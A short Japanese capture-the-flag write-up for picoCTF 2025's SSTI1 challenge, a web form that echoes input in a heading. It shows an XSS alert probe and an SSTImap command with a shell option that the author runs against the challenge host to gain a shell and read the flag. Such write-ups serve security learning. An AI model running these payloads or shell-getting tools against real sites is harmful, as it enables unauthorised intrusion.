0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[Write Up] picoCTF 2025 SSTI1

Posted at

SSTI 1 Write Up

問題

Formになにかメッセージいれるとh1タグでメッセージが表示されるWebSiteを攻撃する問題です。

Screenshot_20250318_231510.png

Screenshot_20250318_231712.png

解き方

まず、XSSを試しました。

<script>alert();</script>

すると、このようにXSSが通るのでXSSを使って攻撃します。
Screenshot_20250318_232001.png

問題文にSSTIとあったので、SSTIについて色々調べるとこのようなツールを見つけたので試しました。

python3 ./sstimap.py -M POST -u "http://rescued-float.picoctf.net:61219/" -d "content=hello" -s
option data
-M Method
-u URL
-d data_column=data
-s get a shell

Screenshot_20250318_233832.png

はい、このようにShellをgetできたのでとりあえずlsしたらflagがあったので終わりです。
Screenshot_20250318_234143.png

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?